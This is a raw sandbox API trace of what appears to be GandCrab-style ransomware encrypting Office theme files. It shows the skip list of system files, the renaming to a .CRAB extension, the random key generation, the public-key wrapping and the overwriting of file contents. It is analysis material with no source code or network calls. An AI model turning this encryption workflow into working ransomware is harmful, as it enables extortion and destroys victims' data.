	[0114.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB.CRAB"
	[0114.283] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0114.284] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.284] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.284] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.284] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0114.284] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.285] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0114.285] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.286] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.286] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.286] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.286] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.286] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.286] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.287] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0114.287] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3ca0) returned 1
	[0114.287] CryptGetKeyParam (in: hKey=0xda3ca0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.287] CryptEncrypt (in: hKey=0xda3ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.288] GetLastError () returned 0x0
	[0114.288] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0114.288] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ec00) returned 1
	[0114.288] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3d60) returned 1
	[0114.289] CryptGetKeyParam (in: hKey=0xda3d60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.289] CryptEncrypt (in: hKey=0xda3d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.289] GetLastError () returned 0x0
	[0114.289] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0114.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457496[[fn=parallax]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.290] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.290] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xe1c0f, lpOverlapped=0x0) returned 1
	[0114.352] VirtualAlloc (lpAddress=0x0, dwSize=0xe1c10, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.366] VirtualAlloc (lpAddress=0x0, dwSize=0xe1c10, flAllocationType=0x3000, flProtect=0x4) returned 0x3450000
	[0114.401] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.425] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff1e3f1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.425] WriteFile (in: hFile=0x3fc, lpBuffer=0x3450000*, nNumberOfBytesToWrite=0xe1c10, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3450000*, lpNumberOfBytesWritten=0x3147f1c*=0xe1c10, lpOverlapped=0x0) returned 1
	[0114.434] VirtualFree (lpAddress=0x3450000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.438] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.442] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.442] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.442] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.442] CloseHandle (hObject=0x3fc) returned 1
	[0114.480] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.480] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.481] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.481] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.481] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.482] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.482] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2=".") returned 1
	[0114.482] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="..") returned 1
	[0114.482] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx"
	[0114.482] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.482] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132
	[0114.482] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132
	[0114.482] lstrlenW (lpString=".thmx") returned 5
	[0114.482] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.482] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.482] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132
	[0114.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="desktop.ini") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="autorun.inf") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="ntuser.dat") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="iconcache.db") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="bootsect.bak") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="boot.ini") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="thumbs.db") returned 1
	[0114.483] lstrcmpiW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.483] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.483] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB") returned 137
	[0114.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457503[[fn=quotable]].thmx")) returned 0x20
	[0114.484] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx", dwFileAttributes=0x20) returned 1
	[0114.484] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457503[[fn=quotable]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457503[[fn=quotable]].thmx.crab")) returned 1
	[0114.485] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.485] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB"
	[0114.485] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB.CRAB"
	[0114.485] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0114.486] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.486] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.486] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.487] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.487] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.487] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0114.487] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.488] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.488] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.488] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0114.488] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.488] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.488] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.489] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0114.489] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3da0) returned 1
	[0114.489] CryptGetKeyParam (in: hKey=0xda3da0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.489] CryptEncrypt (in: hKey=0xda3da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.490] GetLastError () returned 0x0
	[0114.490] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0114.490] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0114.490] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3ee0) returned 1
	[0114.490] CryptGetKeyParam (in: hKey=0xda3ee0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.490] CryptEncrypt (in: hKey=0xda3ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.490] GetLastError () returned 0x0
	[0114.490] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.491] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457503[[fn=quotable]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.491] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.491] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.492] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xec122, lpOverlapped=0x0) returned 1
	[0114.564] VirtualAlloc (lpAddress=0x0, dwSize=0xec130, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.583] VirtualAlloc (lpAddress=0x0, dwSize=0xec130, flAllocationType=0x3000, flProtect=0x4) returned 0x3450000
	[0114.617] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.621] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff13ede, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.621] WriteFile (in: hFile=0x3fc, lpBuffer=0x3450000*, nNumberOfBytesToWrite=0xec130, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3450000*, lpNumberOfBytesWritten=0x3147f1c*=0xec130, lpOverlapped=0x0) returned 1
	[0114.623] VirtualFree (lpAddress=0x3450000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.626] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.629] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.630] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.630] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.630] CloseHandle (hObject=0x3fc) returned 1
	[0114.652] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.652] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.652] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.652] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.653] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.653] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.653] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.653] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2=".") returned 1
	[0114.653] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="..") returned 1
	[0114.653] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx"
	[0114.653] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.653] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129
	[0114.653] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129
	[0114.653] lstrlenW (lpString=".thmx") returned 5
	[0114.653] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.654] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.654] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129
	[0114.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="desktop.ini") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="autorun.inf") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="ntuser.dat") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="iconcache.db") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="bootsect.bak") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="boot.ini") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="thumbs.db") returned 1
	[0114.654] lstrcmpiW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.654] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.655] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB") returned 134
	[0114.655] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457510[[fn=savon]].thmx")) returned 0x20
	[0114.655] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx", dwFileAttributes=0x20) returned 1
	[0114.656] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457510[[fn=savon]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457510[[fn=savon]].thmx.crab")) returned 1
	[0114.657] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.657] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB"
